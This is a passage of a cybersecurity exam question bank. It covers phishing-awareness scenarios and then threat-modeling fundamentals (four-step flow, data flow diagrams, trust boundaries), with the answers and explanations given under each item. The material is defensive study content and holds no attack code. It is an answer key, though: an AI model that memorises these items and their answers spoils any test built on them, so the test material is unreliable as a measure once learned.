- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Low-friction reporting supports response and learning.

Lecture source: p. 49

Q182. [True / False] Security education should evolve as attacker methods change.

- A. False
- B. Only for email attachments
- C. Only when a firewall is absent
- D. True

Answer: D. True

Why: New people, new tools, and new pretexts make periodic refreshers necessary.

Lecture source: p. 49

Q183. [EXCEPT / NOT] All of the following improve phishing education EXCEPT:

- A. Using repeated learning activities
- B. Explaining how to report a mistake quickly
- C. Treating every accidental click as a reason to discourage future reporting
- D. Providing actionable advice

Answer: C. Treating every accidental click as a reason to discourage future reporting

Why: A punitive culture can delay reporting and worsen incidents.

Lecture source: p. 49

Q184. [Defensive design] Which program design best reduces social-engineering risk over time?

- A. Collect unnecessary personal data during every exercise
- B. Use repeated practical education, layered technical controls, proportionate simulations, and a supportive reporting culture
- C. Run one awareness email and never revisit the topic
- D. Teach users to rely only on spelling mistakes

Answer: B. Use repeated practical education, layered technical controls, proportionate simulations, and a supportive reporting culture

Why: Long-term resilience is a continuous organizational process.

Lecture source: pp. 43-49

11. Integrated exam scenarios and misconception checks

15 questions. Answers appear immediately below each item.

Q185. [Mini case study] A finance employee receives an urgent message from a familiar display name requesting a transfer. The address is subtly different from the usual one. What is the best immediate action?

- A. Pause and verify the request through an independently known channel
- B. Complete the transfer because the display name is familiar
- C. Use the reply button to ask whether the request is genuine
- D. Ignore company reporting procedures

Answer: A. Pause and verify the request through an independently known channel

Why: Independent verification reduces the chance of authority-based CEO fraud.

Lecture source: pp. 28, 31, 44-45

Q186. [Mini case study] An employee joins a hotel WiFi network whose name closely resembles the official network and then sees a login portal asking for work credentials. Which risk is most plausible?

- A. A SYN cookie
- B. A DKIM signature
- C. A prepared SQL statement
- D. WiFi spoofing combined with credential harvesting

Answer: D. WiFi spoofing combined with credential harvesting

Why: A fake hotspot may imitate a trusted network and capture information.

Lecture source: pp. 9, 26

Q187. [Mini case study] A user receives a message from a correctly signed domain, but the message requests an unusual transfer to a new account. What is the best conclusion?

- A. The signature proves no account was compromised
- B. The recipient should bypass approval controls
- C. Authentication is useful but does not replace business-process verification
- D. The signature proves the transfer is safe

Answer: C. Authentication is useful but does not replace business-process verification

Why: Signed messages can still originate from abused accounts or contain unsafe instructions.

Lecture source: pp. 40-45

Q188. [Mini case study] An organization blocks known phishing domains, but employees continue to receive links to newly registered look-alike domains. What additional control is most useful?

- A. Remove the reporting mailbox
- B. Combine look-alike detection, user URL guidance, and independent verification procedures
- C. Disable logging
- D. Trust all domains using HTTPS

Answer: B. Combine look-alike detection, user URL guidance, and independent verification procedures

Why: Threat intelligence alone may lag behind new domains.

Lecture source: pp. 42-45

Q189. [Mini case study] A visitor carrying boxes asks an employee to hold a secure door open. What should the employee do?

- A. Follow the access procedure and arrange assistance without granting uncontrolled entry
- B. Hold the door because the visitor looks busy
- C. Share an access badge temporarily
- D. Disable the alarm

Answer: A. Follow the access procedure and arrange assistance without granting uncontrolled entry

Why: A plausible physical pretext should not override access control.

Lecture source: p. 10

Q190. [Mini case study] A simulated-phishing report shows many users clicked, but few reported the message. Which improvement is most directly indicated?

- A. Stop collecting all metrics
- B. Remove all email warnings
- C. Focus only on grammar errors
- D. Strengthen practical reporting guidance and make reporting easy and non-punitive

Answer: D. Strengthen practical reporting guidance and make reporting easy and non-punitive

Why: The organization should improve both recognition and reporting behavior.

Lecture source: pp. 48-49

Q191. [Mini case study] A public employee profile lists projects, coworkers, and travel plans. Which risk is most important?

- A. The profile disables SPF
- B. The profile creates a TCP SYN flood
- C. The information can be correlated into a convincing spear-phishing pretext
- D. The profile automatically leaks a DKIM private key

Answer: C. The information can be correlated into a convincing spear-phishing pretext

Why: Contextual details improve personalization.

Lecture source: pp. 15, 18

Q192. [Mini case study] A message contains a button labeled company portal, but hovering reveals an unrelated domain. What is the strongest indicator?

- A. The message arrived during business hours
- B. The actual link destination does not match the claimed service
- C. The button uses a familiar color
- D. The message contains a logo

Answer: B. The actual link destination does not match the claimed service

Why: Visible link text can conceal the destination.

Lecture source: pp. 25, 33, 44

Q193. [Mini case study] A security team wants to run a social-engineering exercise using employee relatives and leaked credentials. What is the first priority?

- A. Review authorization, legality, proportionality, and data handling before proceeding
- B. Collect as much information as possible immediately
- C. Assume the defensive purpose removes all ethical concerns
- D. Publish the data to improve awareness

Answer: A. Review authorization, legality, proportionality, and data handling before proceeding

Why: The scope must be explicitly justified and approved.

Lecture source: p. 22

Q194. [Misconception check] Which statement best describes the value of SPF and DKIM?

- A. They eliminate every possible phishing attack
- B. They make URL checking unnecessary
- C. They are forms of antivirus heuristics only
- D. They strengthen email verification but do not guarantee that every delivered message is harmless

Answer: D. They strengthen email verification but do not guarantee that every delivered message is harmless

Why: Email authentication is one layer of defense.

Lecture source: pp. 38-45

Q195. [Misconception check] Which statement best describes professional-looking phishing messages?

- A. They always contain raw IP addresses
- B. They are blocked automatically in every organization
- C. They may lack obvious spelling errors, so users should verify context, sender details, URLs, and requests
- D. They are safe because attackers cannot copy professional design

Answer: C. They may lack obvious spelling errors, so users should verify context, sender details, URLs, and requests

Why: Simple visual rules are not sufficient.

Lecture source: p. 44

Q196. [Misconception check] Which statement best describes the responsibility for phishing defense?

- A. Only senior management is targeted
- B. Organizations and users share responsibility through controls, usable procedures, awareness, and reporting
- C. Only the individual user is responsible
- D. Only the email filter is responsible

Answer: B. Organizations and users share responsibility through controls, usable procedures, awareness, and reporting

Why: Layered resilience is an organizational task.

Lecture source: pp. 43-49

Q197. [Select all that apply] Which actions are appropriate after recognizing a suspicious sensitive request?

- A. Enter credentials to see whether the page looks real
- B. Forward the message broadly without warning
- C. Pause before acting
- D. Use an independently known channel to verify
- E. Inspect the actual URL and sender details
- F. Report the message through the approved process

Answer: C, D, E, F. Pause before acting; Use an independently known channel to verify; Inspect the actual URL and sender details; Report the message through the approved process

Why: Verification and reporting reduce risk without interacting with attacker-controlled content.

Lecture source: pp. 44-49

Q198. [Assertion-reason] Assertion: A secure organization should plan for social-engineering attacks even if its email filters are strong.

Reason: Attackers can use physical methods, voice calls, SMS, compromised accounts, or new domains.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The attack surface includes multiple channels.

Lecture source: pp. 8-10, 25, 42-45

Q199. [Defensive design] Which final design principle best summarizes social-engineering resilience?

- A. Rely on one technical control only
- B. Treat every user mistake as a disciplinary event first
- C. Make trust verifiable: combine independent checks, usable procedures, layered controls, awareness, and rapid reporting
- D. Assume familiarity is proof of identity

Answer: C. Make trust verifiable: combine independent checks, usable procedures, layered controls, awareness, and rapid reporting

Why: Resilience comes from reducing pressure, improving verification, and learning quickly from reports.

Lecture source: pp. 19-21, 38-49

End of cleaned question bank

Use the source-page references to locate the relevant material during revision. Social-engineering testing, simulated phishing, and information gathering must stay within an explicitly authorized and ethically reviewed scope. Do not collect unnecessary personal data or target people outside the approved plan.

Lecture 8 - Threat Modeling I

Cleaned exam-style MCQ question bank

223 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test threat-modeling concepts, diagrams, trust boundaries, STRIDE, attack trees, treatment choices, prioritization, DREAD, validation, and applied design scenarios. Administrative details, slide-order recall, screenshot trivia, news-headline memorization, and filler questions are excluded.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Threat-modeling foundations, assumptions, and approaches	22
2. Four-step flow and representation choices	18
3. Data flow diagrams and trust boundaries	24
4. Swim lanes, state machines, and UML	12
5. Structured threat search and attack libraries	17
6. STRIDE categories and violated properties	23
7. Applied STRIDE scenarios and defensive reasoning	35
8. Attack trees and hierarchical reasoning	14
9. Threat treatment and mitigation strategies	22
10. Threat prioritization, DREAD, and risk matrices	16
11. Validation, updating, and lifecycle quality assurance	20
Total	223

Searchable quick reference - modeling concepts

Item	Meaning
Threat modeling	Structured process for identifying predictable threats and deciding how to address them
Four-step flow	Model system -> Find threats -> Address threats -> Validate
DFD process	Code or component that handles data
DFD data store	File, database, or shared-memory store
DFD data flow	Data moving between modeled elements
DFD external entity	Person or external software outside modeled code and data
Trust boundary	Interaction point between principals or components with different privileges
Swim lane	Diagram that separates communicating entities into lanes
State machine	Model of states and transitions, useful for security-state changes
Attack library	Structured collection of threats or vulnerabilities
Attack tree	Hierarchical paths toward an attacker goal

Searchable quick reference - STRIDE and treatment

Item	Meaning
Spoofing	Impersonation - authentication
Tampering	Unauthorized modification - integrity
Repudiation	Denial of an action or weak evidence - non-repudiation
Information disclosure	Unauthorized exposure - confidentiality
Denial of service	Deny or degrade service - availability
Elevation of privilege	Unauthorized capability - authorization
Mitigate	Make exploitation harder
Eliminate	Remove responsible functionality
Transfer	Let another party handle the problem
Accept	Consciously retain residual risk
DREAD	Damage, Reproducibility, Exploitability, Affected users, Discoverability

1. Threat-modeling foundations, assumptions, and approaches

22 questions. Answers appear immediately below each item.

Q1. [Single answer] What is the primary purpose of threat modeling?

- A. To identify predictable security threats early and decide how to address them
- B. To prove that a deployed system has no vulnerabilities
- C. To replace every form of testing with a diagram
- D. To focus only on attacks already observed in production

Answer: A. To identify predictable security threats early and decide how to address them

Why: Threat modeling is a structured process for improving security before and during operation.

Lecture source: pp. 7-9

Q2. [Single answer] Why is it useful to perform threat modeling before implementation begins?

- A. It guarantees that no coding bugs will be introduced
- B. It eliminates the need for deployment monitoring
- C. It automatically produces penetration-test exploits
- D. It can reveal design-level security issues before they become embedded in code

Answer: D. It can reveal design-level security issues before they become embedded in code

Why: Early modeling helps avoid coding avoidable security issues and clarifies requirements.

Lecture source: pp. 7-8

Q3. [Scenario] A team assumes that end-to-end encryption makes an entire messaging system secure. Which modeling improvement is most appropriate?

- A. Model only the encryption algorithm
- B. Ignore social engineering because it is not technical
- C. Add user-interaction abuse and authentication flows to the attack surface
- D. Remove identity flows because encryption covers them

Answer: C. Add user-interaction abuse and authentication flows to the attack surface

Why: Encryption does not prevent identity takeover or manipulation of users.

Lecture source: p. 4

Q4. [Scenario] A hospital application is modeled only for data confidentiality, but a cyber incident could interrupt critical-care operations. What should be added?

- A. A rule that all incidents are confidentiality incidents
- B. Safety-critical dependencies and operational disruption scenarios
- C. Only password-length rules
- D. A list of programming languages used by the team

Answer: B. Safety-critical dependencies and operational disruption scenarios

Why: Cybersecurity failures can have physical and safety consequences.

Lecture source: p. 4

Q5. [Comparison] Which statement best compares threat modeling with waiting for bug reports after release?

- A. Threat modeling proactively searches for foreseeable threats, while bug reports are reactive
- B. They are identical because both happen only after release
- C. Bug reports are always more complete than structured analysis
- D. Threat modeling is used only to classify reported bugs

Answer: A. Threat modeling proactively searches for foreseeable threats, while bug reports are reactive

Why: Threat modeling aims to find issues before incidents or external reports expose them.

Lecture source: pp. 7-9

Q6. [Select all that apply] Which activities can help find security issues but do not replace the need for a structured threat-modeling process?

- A. Ignoring deployment changes
- B. Static code analysis
- C. Fuzzing or dynamic testing
- D. Penetration testing or red teaming
- E. Red-team and blue-team exercises
- F. Waiting for bug reports after release

Answer: B, C, D, E, F. Static code analysis; Fuzzing or dynamic testing; Penetration testing or red teaming; Red-team and blue-team exercises; Waiting for bug reports after release

Why: Multiple discovery mechanisms are useful, but threat modeling adds early structure and big-picture reasoning.

Lecture source: pp. 7-9

Q7. [True / False] Threat modeling is relevant only to software developers and not to teams operating deployed systems.

- A. Only during penetration testing
- B. Only after deployment
- C. False
- D. True

Answer: C. False

Why: Threat modeling can be performed during development and operation and should continue as systems change.

Lecture source: pp. 8, 54

Q8. [True / False] A useful threat-modeling process should be predictable, reliable, scalable, and practical.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: An engineering approach needs repeatable and workable analysis methods.

Lecture source: p. 13

Q9. [EXCEPT / NOT] All of the following are benefits of threat modeling EXCEPT:

- A. Proving mathematically that no attack is possible
- B. Thinking about security early
- C. Improving understanding of requirements
- D. Reducing avoidable design mistakes

Answer: A. Proving mathematically that no attack is possible

Why: Threat modeling improves security but does not prove perfect security.

Lecture source: pp. 8-9, 54

Q10. [Assertion-reason] Assertion: Threat modeling should be treated as a process rather than a one-time workshop.

Reason: Systems, assumptions, deployments, and attack patterns change over time.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Models need maintenance throughout the deployed product lifecycle.

Lecture source: p. 54

Q11. [Misconception check] Which statement best reflects professional cybersecurity work?

- A. Threat modeling is unnecessary if a penetration tester is available
- B. Only code-level vulnerabilities matter
- C. Security is a structured defensive process involving multiple roles and soft skills, not only offensive hacking
- D. Cybersecurity is mainly about writing exploits like characters in movies

Answer: C. Security is a structured defensive process involving multiple roles and soft skills, not only offensive hacking

Why: Security engineering includes structured analysis, design, communication, monitoring, and validation.

Lecture source: p. 3

Q12. [Comparison] Why can an attacker-focused starting point be risky?

- A. It automatically excludes all assets
- B. Incorrect assumptions about attackers can send the analysis in the wrong direction
- C. Attackers never matter in threat modeling
- D. It prevents the system from being diagrammed

Answer: B. Incorrect assumptions about attackers can send the analysis in the wrong direction

Why: Attacker scenarios remain useful, but they should not be the only starting point.

Lecture source: p. 10

Q13. [True / False] Threat modelers should completely ignore attackers because an attacker-focused approach has limitations.

- A. False
- B. True
- C. Only during penetration testing
- D. Only after deployment

Answer: A. False

Why: Attackers should remain in mind for scenarios even if the analysis does not start solely from attacker assumptions.

Lecture source: p. 10

Q14. [Comparison] Why can an asset-focused starting point be complicated?

- A. Assets are always limited to databases
- B. Asset lists automatically identify every threat
- C. Only physical assets count
- D. An asset may be valuable to the business, useful to an attacker, or merely a stepping stone

Answer: D. An asset may be valuable to the business, useful to an attacker, or merely a stepping stone

Why: The meaning of an asset depends on perspective and attacker goals.

Lecture source: pp. 11-12

Q15. [Mini case study] An apparently unimportant workstation can be used to reach an internal administrative service. How should the workstation be treated in a threat model?

- A. As protected only if it is a database server
- B. As outside the scope of every threat model
- C. As a possible stepping-stone asset
- D. As irrelevant because it stores no customer data

Answer: C. As a possible stepping-stone asset

Why: Attackers may value systems as pivots even when the business does not view them as primary assets.

Lecture source: pp. 11-12

Q16. [Select all that apply] Which threat-modeling perspectives are useful?

- A. Attacker-focused models
- B. Asset-focused models
- C. Software- or system-focused models
- D. A single perspective that must never be supplemented
- E. Scenario-based consideration of attacker goals

Answer: A, B, C, E. Attacker-focused models; Asset-focused models; Software- or system-focused models; Scenario-based consideration of attacker goals

Why: Different perspectives can complement each other; a system-focused engineering approach provides a practical structure.

Lecture source: pp. 9-13

Q17. [Defensive design] Which approach is most suitable for a large product with many components?

- A. Use a structured, repeatable modeling process that scales across the product
- B. Rely on informal memory only
- C. Model only the most visible user interface
- D. Wait until the product is exploited before documenting threats

Answer: A. Use a structured, repeatable modeling process that scales across the product

Why: Scalability and predictability are key engineering requirements.

Lecture source: p. 13

Q18. [Single answer] What does it mean to address predictable threats?

- A. Assume every possible future attack is known
- B. Focus only on rare zero-day exploits
- C. Remove every feature regardless of business value
- D. Systematically consider threats that can reasonably be anticipated and choose responses

Answer: D. Systematically consider threats that can reasonably be anticipated and choose responses

Why: Threat modeling improves security through structured anticipation, not perfect foresight.

Lecture source: p. 9

Q19. [Mini case study] A design meeting becomes stuck in low-level implementation details before the team has described the main components and data paths. What is the best correction?

- A. Stop modeling and deploy the system
- B. Discuss only one attacker persona
- C. Return to an abstract model that preserves the big picture
- D. Add more implementation detail immediately

Answer: C. Return to an abstract model that preserves the big picture

Why: Useful modeling balances thoroughness with efficiency and abstraction.

Lecture source: pp. 9, 14

Q20. [True / False] A threat model can still be useful even though it will never cover every possible angle.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: The process is iterative and aims to improve coverage rather than promise perfection.

Lecture source: p. 54

Q21. [Assertion-reason] Assertion: Making assumptions explicit is important in threat modeling. Reason: A hidden assumption can cause entire threat scenarios to be missed.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Explicit assumptions support review and model updates.

Lecture source: pp. 4, 52

Q22. [Select all that apply] Which statements are consistent with a system-focused engineering approach?

- A. Use a repeatable process
- B. Keep the big picture visible
- C. Validate the result
- D. Assume every implementation detail must appear in the first diagram
- E. Create an abstract representation of the system

Answer: A, B, C, E. Create an abstract representation of the system; Use a repeatable process; Keep the big picture visible; Validate the result

Why: Abstraction and validation are central; the initial model should not drown in detail.

Lecture source: pp. 13-16

2. Four-step flow and representation choices

18 questions. Answers appear immediately below each item.

Q23. [Single answer] Which description best matches the threat-modeling step "Model the system"?

- A. Choose a strategy for each identified threat
- B. Check the model and verify that identified threats are actually addressed
- C. Create an abstraction of the software, system, or technology to enable analysis
- D. Systematically identify how the modeled elements and interactions could be abused

Answer: C. Create an abstraction of the software, system, or technology to enable analysis

Why: Model the system is one stage of the four-step modeling workflow.

Lecture source: pp. 14-17

Q24. [Single answer] Which description best matches the threat-modeling step "Find threats"?

- A. Check the model and verify that identified threats are actually addressed
- B. Systematically identify how the modeled elements and interactions could be abused
- C. Create an abstraction of the software, system, or technology to enable analysis
- D. Choose a strategy for each identified threat

Answer: B. Systematically identify how the modeled elements and interactions could be abused

Why: Find threats is one stage of the four-step modeling workflow.

Lecture source: pp. 24-28, 37

Q25. [Single answer] Which description best matches the threat-modeling step "Address threats"?

- A. Choose a strategy for each identified threat
- B. Create an abstraction of the software, system, or technology to enable analysis
- C. Systematically identify how the modeled elements and interactions could be abused
- D. Check the model and verify that identified threats are actually addressed

Answer: A. Choose a strategy for each identified threat

Why: Address threats is one stage of the four-step modeling workflow.

Lecture source: pp. 43-46

Q26. [Single answer] Which description best matches the threat-modeling step "Validate"?

- A. Create an abstraction of the software, system, or technology to enable analysis
- B. Systematically identify how the modeled elements and interactions could be abused
- C. Choose a strategy for each identified threat
- D. Check the model and verify that identified threats are actually addressed

Answer: D. Check the model and verify that identified threats are actually addressed

Why: Validate is one stage of the four-step modeling workflow.

Lecture source: pp. 49-53

Q27. [Sequence] Which sequence correctly represents the four-step threat-modeling framework?

- A. Address threats -> Model the system -> Validate -> Find threats
- B. Validate -> Find threats -> Address threats -> Model the system
- C. Model the system -> Find threats -> Address threats -> Validate
- D. Find threats -> Validate -> Model the system -> Address threats

Answer: C. Model the system -> Find threats -> Address threats -> Validate

Why: The framework starts by understanding the system and ends by checking the quality of the analysis and responses.

Lecture source: p. 16

Q28. [Scenario] A team has documented processes, data stores, and data flows but has not yet considered possible attacks. Which step comes next?

- A. Remove all external entities
- B. Find threats
- C. Validate
- D. Accept every risk

Answer: B. Find threats

Why: Once the system is represented, the team searches for relevant threats.

Lecture source: pp. 16, 24-28

Q29. [Scenario] A team has identified a list of threats and now needs to decide whether to mitigate, eliminate, transfer, or accept each one. Which step is it performing?

- A. Address threats
- B. Model the system
- C. Find threats
- D. Validate only the diagram layout

Answer: A. Address threats

Why: Choosing treatment strategies belongs to the address-threats stage.

Lecture source: pp. 43-44

Q30. [Scenario] A reviewer asks whether every threat has a ticket, a treatment strategy, and a test. Which step is being performed?

- A. Model the system
- B. Find threats
- C. Asset enumeration only
- D. Validate

Answer: D. Validate

Why: Validation checks both the model and whether threats were addressed.

Lecture source: pp. 49-53

Q31. [Select all that apply] Which diagram types can support threat modeling?

- A. Data flow diagrams
- B. Swim-lane diagrams
- C. State machines
- D. Adapted UML diagrams
- E. A diagram that deliberately omits all interactions

Answer: A, B, C, D. Data flow diagrams; Swim-lane diagrams; State machines; Adapted UML diagrams

Why: Different diagram types reveal different security-relevant aspects of a system.

Lecture source: pp. 14, 17, 22-23

Q32. [EXCEPT / NOT] A useful system model should do all of the following EXCEPT:

- A. Support structured analysis
- B. Include every low-level implementation detail regardless of relevance
- C. Abstract unnecessary detail
- D. Help the team view the system as a whole

Answer: B. Include every low-level implementation detail regardless of relevance

Why: Abstraction is a feature of modeling, not a defect.

Lecture source: p. 14

Q33. [True / False] Diagramming is a key approach in commercial threat modeling, while mathematical models are relatively rare in ordinary commercial environments.

- A. True
- B. False
- C. Only during penetration testing
- D. Only after deployment

Answer: A. True

Why: The lecture emphasizes practical structured diagrams for real engineering work.

Lecture source: p. 14

Q34. [Comparison] Which comparison between a DFD and a state machine is most accurate?

- A. A DFD and a state machine are identical
- B. A state machine is only for network packets
- C. A DFD cannot show any component interactions
- D. A DFD emphasizes exchange of data, while a state machine emphasizes changes of state

Answer: D. A DFD emphasizes exchange of data, while a state machine emphasizes changes of state

Why: Different models reveal different kinds of security questions.

Lecture source: pp. 17, 23

Q35. [Comparison] Which comparison between swim lanes and DFDs is most accurate?

- A. DFDs are only for authentication
- B. Both diagrams require every code function to be shown
- C. Swim lanes emphasize interactions among entities, while DFDs emphasize data movement among modeled elements
- D. Swim lanes are only for databases

Answer: C. Swim lanes emphasize interactions among entities, while DFDs emphasize data movement among modeled elements

Why: Representation should match the question being analyzed.

Lecture source: pp. 17, 22

Q36. [Diagram reasoning] A diagram is so vague that reviewers keep adding verbal explanations that are not visible in the model. What does this indicate?

- A. Validation is unnecessary
- B. The model likely needs more detail or clearer flows
- C. The diagram is complete because verbal explanation is enough
- D. The model should remove all flow labels

Answer: B. The model likely needs more detail or clearer flows

Why: If explanation requires hidden information, the model may be incomplete.

Lecture source: p. 53

Q37. [Assertion-reason] Assertion: A threat model should remain abstract enough to show the whole system. Reason: A model that includes every implementation detail can obscure important structure.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Abstraction helps teams reason about the big picture efficiently.

Lecture source: pp. 9, 14

Q38. [Defensive design] A team is choosing a diagram for a login workflow with unauthenticated, authenticated, and administrative states. Which model is especially helpful?

- A. A list of programming-language keywords
- B. A network cable inventory only
- C. A table of employee names
- D. A state machine

Answer: D. A state machine

Why: State machines are useful when security-relevant transitions matter.

Lecture source: p. 23

Q39. [Defensive design] A team is choosing a diagram for communication among a client, server, and database across security boundaries. Which model is especially helpful?

- A. A screenshot of one user interface
- B. A list of source-code line numbers only
- C. A data flow diagram
- D. A password dictionary

Answer: C. A data flow diagram

Why: DFDs reveal processes, stores, flows, entities, and boundaries.

Lecture source: pp. 17-20

Q40. [True / False] Modeling and validation should continue after deployment when the system changes.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: Threat modeling is an ongoing process for deployed products.

Lecture source: p. 54

3. Data flow diagrams and trust boundaries

24 questions. Answers appear immediately below each item.

Q41. [Classification] In a threat-modeling diagram, which description best matches a Process?

- A. Code or a running component that transforms or handles data
- B. A file, database, or shared-memory location where data is retained
- C. A connection showing data moving between modeled elements
- D. Something outside the modeled code and data, including people or cloud software

Answer: A. Code or a running component that transforms or handles data

Why: A Process has a specific role in modeling the system.

Lecture source: p. 17

Q42. [Classification] In a threat-modeling diagram, which description best matches a Data store?

- A. Code or a running component that transforms or handles data
- B. A connection showing data moving between modeled elements
- C. Something outside the modeled code and data, including people or cloud software
- D. A file, database, or shared-memory location where data is retained

Answer: D. A file, database, or shared-memory location where data is retained

Why: A Data store has a specific role in modeling the system.

Lecture source: p. 17

Q43. [Classification] In a threat-modeling diagram, which description best matches a Data flow?

- A. A file, database, or shared-memory location where data is retained
- B. Something outside the modeled code and data, including people or cloud software
- C. A connection showing data moving between modeled elements
- D. Code or a running component that transforms or handles data

Answer: C. A connection showing data moving between modeled elements

Why: A Data flow has a specific role in modeling the system.

Lecture source: p. 17

Q44. [Classification] In a threat-modeling diagram, which description best matches a External entity?

- A. A connection showing data moving between modeled elements
- B. Something outside the modeled code and data, including people or cloud software
- C. Code or a running component that transforms or handles data
- D. A file, database, or shared-memory location where data is retained

Answer: B. Something outside the modeled code and data, including people or cloud software

Why: A External entity has a specific role in modeling the system.

Lecture source: p. 17

Q45. [Classification] In a threat-modeling diagram, which description best matches a Trust boundary?

- A. A boundary where principals or components with different privileges interact
- B. Code or a running component that transforms or handles data
- C. A file, database, or shared-memory location where data is retained
- D. A connection showing data moving between modeled elements

Answer: A. A boundary where principals or components with different privileges interact

Why: A Trust boundary has a specific role in modeling the system.

Lecture source: p. 21

Q46. [True / False] Threats often follow data, which is one reason DFDs remain useful.

- A. False
- B. Only during penetration testing
- C. Only after deployment
- D. True

Answer: D. True

Why: Tracking data movement highlights exposure points and trust transitions.

Lecture source: p. 17

Q47. [True / False] In a DFD, a person interacting with the application can be modeled as an external entity.

- A. Only during penetration testing
- B. Only after deployment
- C. True
- D. False

Answer: C. True

Why: External entities include people and external software.

Lecture source: p. 17

Q48. [True / False] A cloud service used by an application can never be modeled as an external entity.

- A. Only after deployment
- B. False
- C. True
- D. Only during penetration testing

Answer: B. False

Why: Cloud software outside the modeled code and data may be represented as an external entity.

Lecture source: p. 17

Q49. [Single answer] Why should trust boundaries be made explicit?

- A. Threats tend to cluster where components or principals with different privileges interact
- B. Boundaries automatically encrypt every data flow
- C. A boundary proves that authorization is correct
- D. Explicit boundaries eliminate the need for testing

Answer: A. Threats tend to cluster where components or principals with different privileges interact

Why: Trust crossings deserve special scrutiny and enforcement.

Lecture source: p. 21

Q50. [Single answer] What is generally the preferred way to enforce trust separation when possible?

- A. Rely on user memory only
- B. Document the boundary but do not enforce it
- C. Use a spreadsheet as the only control
- D. Rely on operating-system mechanisms

Answer: D. Rely on operating-system mechanisms

Why: The OS is often the best place to enforce isolation or privilege boundaries.

Lecture source: p. 21

Q51. [Mini case study] A mobile platform runs two apps with different permissions, and they exchange data. What should the threat model explicitly represent?

- A. Only the device battery level
- B. No boundary because both apps run on one phone
- C. A trust boundary at the interaction point
- D. Only the screen layout

Answer: C. A trust boundary at the interaction point

Why: Different privileges make the interaction security-relevant.

Lecture source: p. 21

Q52. [Mini case study] A user submits a request from the internet to an application back end, which writes to a database. Which location deserves particular review?

- A. Only the company logo
- B. Each flow crossing a trust boundary
- C. Only the user-interface font
- D. Only the database product name

Answer: B. Each flow crossing a trust boundary

Why: Boundary crossings are common places for threats to cluster.

Lecture source: pp. 19-21

Q53. [Select all that apply] Which elements should normally be considered when reviewing a DFD?

- A. Trust boundaries
- B. Only source-code file names
- C. Processes
- D. Data stores
- E. Data flows
- F. External entities

Answer: A, C, D, E, F. Processes; Data stores; Data flows; External entities; Trust boundaries

Why: The model should expose the main components, movement of data, and trust transitions.

Lecture source: pp. 17-21

Q54. [Diagram reasoning] A DFD contains a database icon with incoming and outgoing arrows. How should the database be classified?

- A. External entity
- B. Trust boundary
- C. State transition
- D. Data store

Answer: D. Data store

Why: A database retains data and is represented as a data store.

Lecture source: pp. 17-20

Q55. [Diagram reasoning] A DFD contains an arrow labeled "SQL query calls" between an application and a database component. What does the arrow represent?

- A. A user role
- B. A state-machine node
- C. A data flow
- D. A trust boundary itself

Answer: C. A data flow

Why: Arrows in a DFD represent movement or exchange of data.

Lecture source: pp. 17, 20

Q56. [Diagram reasoning] A diagram shows users outside an application boundary submitting requests to a website process. How should the users be classified?

- A. Cryptographic keys
- B. External entities
- C. Data stores
- D. Internal processes

Answer: B. External entities

Why: People are external entities relative to the modeled application.

Lecture source: pp. 17, 20

Q57. [Comparison] What is the most important difference between a trust boundary and a data flow?

- A. A trust boundary marks a privilege or trust transition, while a data flow represents data movement
- B. They are identical labels for the same arrow
- C. A data flow always encrypts a trust boundary
- D. A trust boundary is a type of database

Answer: A. A trust boundary marks a privilege or trust transition, while a data flow represents data movement

Why: The two concepts may intersect but serve different modeling purposes.

Lecture source: pp. 17, 21

Q58. [Troubleshooting] A DFD has an arrow that ends nowhere and does not clearly connect to a modeled element. What is the best action?

- A. Delete all arrows in the diagram
- B. Accept the dead end because flows do not need destinations
- C. Replace the DFD with a password list
- D. Refine the model because a DFD should not contain unexplained dead ends

Answer: D. Refine the model because a DFD should not contain unexplained dead ends

Why: A data-flow model should not leave unexplained dead ends.

Lecture source: p. 53

Q59. [Troubleshooting] A team labels a flow simply as "processes data," and reviewers cannot tell what crosses the boundary. What should the team do?

- A. Assume the reviewers understand the implementation
- B. Skip validation
- C. Use more precise flow descriptions and add detail where needed
- D. Remove the flow label

Answer: C. Use more precise flow descriptions and add detail where needed

Why: Vague language signals a need for refinement.

Lecture source: p. 53

Q60. [Assertion-reason] Assertion: A trust boundary should be reviewed even if the system is inside one organization.

Reason: Different components, apps, or principals may still have different privileges.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Trust differences can exist within the same organizational perimeter.

Lecture source: p. 21

Q61. [EXCEPT / NOT] All of the following are typical DFD abstractions EXCEPT:

- A. An employee performance-review score used only for HR ranking
- B. A process
- C. A data store
- D. An external entity

Answer: A. An employee performance-review score used only for HR ranking

Why: DFDs model software-system structure and data movement, not arbitrary organizational metrics.

Lecture source: p. 17

Q62. [Defensive design] A team wants to prioritize reviews in a complex DFD. Where should it start?

- A. At decorative labels
- B. At components with the shortest names
- C. At the diagram title only
- D. At trust boundaries and the data flows crossing them

Answer: D. At trust boundaries and the data flows crossing them

Why: Threats tend to cluster around trust transitions.

Lecture source: p. 21

Q63. [Mini case study] A log-analysis service receives logs from a database cluster and is used by administrators. Which modeling lesson is most important?

- A. Omit administrators because they are people
